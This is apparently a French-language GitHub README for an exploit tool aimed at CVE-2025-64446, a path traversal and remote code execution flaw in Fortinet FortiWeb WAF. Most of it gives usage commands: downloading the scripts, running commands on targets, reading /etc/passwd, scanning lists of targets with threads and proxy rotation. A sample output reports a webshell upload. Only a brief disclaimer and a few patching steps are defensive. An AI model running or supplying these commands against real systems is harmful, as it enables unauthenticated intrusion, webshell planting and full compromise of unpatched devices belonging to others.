
Outil de recherche en sécurité pour détecter et tester CVE-2025-64446 (FortiWeb Path Traversal RCE vulnerability)
Outil de recherche en sécurité pour détecter et tester la vulnérabilité CVE-2025-64446 sur le pare-feu applicatif Web (WAF) Fortinet FortiWeb. Cette vulnérabilité critique de type zero-day de traversée de chemin a été activement exploitée dans la nature et permet à des attaquants non authentifiés de contourner les contrôles de sécurité et d'exécuter du code arbitraire.
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. N'utilisez cet outil que sur des systèmes vous appartenant ou pour lesquels vous disposez d'une autorisation écrite explicite.
CVE-2025-64446 est une vulnérabilité critique de type zero-day de traversée de chemin dans le WAF Fortinet FortiWeb, activement exploitée dans la nature. Cette vulnérabilité permet à des attaquants non authentifiés de contourner les contrôles de sécurité via des attaques de traversée de chemin, pouvant conduire à une exécution de code à distance, à l'accès aux fichiers de configuration et à un compromis complet du système.
Score CVSS : 9,8 (Critique)
Statut : Activement exploitée dans la nature
CISA KEV : Ajoutée au catalogue des vulnérabilités connues exploitées
Correctif : FG-IR-25-910
Produit concerné : Fortinet FortiWeb WAF
# Cloner le dépôt
git clone https://github.com/AN5I/cve-2025-64446-fortiweb-exploit.git
cd cve-2025-64446-fortiweb-exploit
# Installer les dépendances
pip install -r requirements.txt
# Rendre les scripts exécutables (optionnel)
chmod +x cve_2025_64446_fortiweb_exploit.py
chmod +x cve_2025_64446_poc.py
# Télécharger les scripts
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_fortiweb_exploit.py
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_poc.py
# Installer les dépendances
pip install requests
# Cible unique
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com
# Exécuter une commande personnalisée
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -c "whoami"
# Plusieurs cibles depuis un fichier
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
# Avec threading pour un scan plus rapide
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -t 5
# Sortie verbeuse pour débogage
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -v
# Proxy unique
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com --proxy http://proxy:port
# Plusieurs proxys depuis un fichier
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# Test POC de base
python3 cve_2025_64446_poc.py -u http://target.com
# Test d'un fichier spécifique
python3 cve_2025_64446_poc.py -u http://target.com -f etc/passwd
# Sortie verbeuse
python3 cve_2025_64446_poc.py -u http://target.com -v
-u, --url URL cible
-f, --file Fichier contenant les URLs cibles (une par ligne)
-c, --command Commande à exécuter (défaut : id)
-t, --threads Nombre de threads (défaut : 1)
-o, --output Fichier de sortie (défaut : uknf_fortiweb_results.json)
-v, --verbose Activer les logs verbeux
--proxy URL du proxy (ex. : http://127.0.0.1:8080)
--proxy-list Fichier contenant les URLs de proxys (une par ligne)
Le script génère un fichier JSON avec les résultats détaillés :
{
"target": "http://target.com",
"timestamp": "2025-11-21T00:25:40.123456",
"fortiweb_detected": true,
"vulnerable": true,
"path_traversal_successful": true,
"config_file_read": true,
"webshell_uploaded": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_payload": "../../../../etc/passwd"
}
Si vous utilisez le WAF FortiWeb :
Appliquer immédiatement les mises à jour de sécurité :
# Vérifier la version actuelle
show system status
# Mettre à jour vers la dernière version
execute upgrade <firmware-file>
Segmentation réseau :
Renforcement de la configuration :
Exigences CISA :
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com
# Créer le fichier de cibles
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Lancer le scan
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com -c "uname -a"
# Proxy unique
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Plusieurs proxys depuis un fichier
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# POC de base
python3 cve_2025_64446_poc.py -u https://example.com
# Test d'un fichier spécifique
python3 cve_2025_64446_poc.py -u https://example.com -f etc/passwd
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si vous rencontrez des problèmes ou avez des suggestions, veuillez ouvrir une issue sur GitHub.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Si vous trouvez cet outil utile, pensez à lui donner une étoile sur GitHub !
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce programme. Les utilisateurs sont responsables de s'assurer qu'ils disposent des autorisations appropriées avant de tester tout système.
Si vous trouvez cet outil utile et souhaitez soutenir le projet :
Bitcoin (BTC) :
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH) :
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Merci pour votre soutien ! 🙏